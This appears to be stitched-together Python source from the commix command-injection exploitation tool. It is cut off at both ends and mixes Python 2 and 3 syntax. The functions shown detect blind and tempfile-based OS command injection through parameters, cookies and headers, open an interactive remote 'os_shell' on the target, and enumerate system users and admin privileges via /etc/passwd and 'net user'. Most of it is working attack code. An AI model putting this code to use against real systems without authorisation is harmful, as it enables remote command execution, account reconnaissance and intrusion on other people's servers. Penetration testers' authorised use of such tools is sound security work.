_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print(settings.SPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SPACE) tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print(settings.SPACE) logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print(settings.SPACE) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print(settings.SPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print( "\n" ) + settings.print_output( output) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print(settings.SPACE) except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg( err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print settings.print_critical_msg(err_msg) whitespace = checks.check_whitespaces() if settings.VERBOSITY_LEVEL >= 1: info_msg ="Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))" # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" #break else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" print "" # Print logs notification message logs.logs_notification(filename) #raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if len(file_access_again) == 0: file_access_again= "y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) if not new_line : print "" try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if settings.TARGET_OS == "win": if alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_os = cb_injector.injection_results(response, TAG, cmd) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = cb_injector.injection_results(response, TAG, cmd) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if target_arch: success_msg = "The target operating system is " + target_os + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + target_os success_msg += " and the hardware platform is " + target_arch + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print settings.print_warning_msg(warn_msg)
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, delay): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") # else: # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, delay) # Evaluate injection results. sys_users = cb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") cmd = "cmd /c " + cmd response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " if settings.VERBOSITY_LEVEL >= 1: print "" else : is_privileged = "" is_privileged_nh = "" print " (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "." # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that you don't have permissions to enumerate users entries." print "\n" + settings.print_warning_msg(warn_msg) except TypeError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]\n") sys.stdout.flush() pass except IndexError: sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass # Unix-like users enumeration. else: if settings.VERBOSITY_LEVEL >= 1: print "" info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." print "\n" + settings.print_warning_msg(warn_msg) sys_users = " ".join(str(p) for p in sys_users).strip() print sys_users output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = 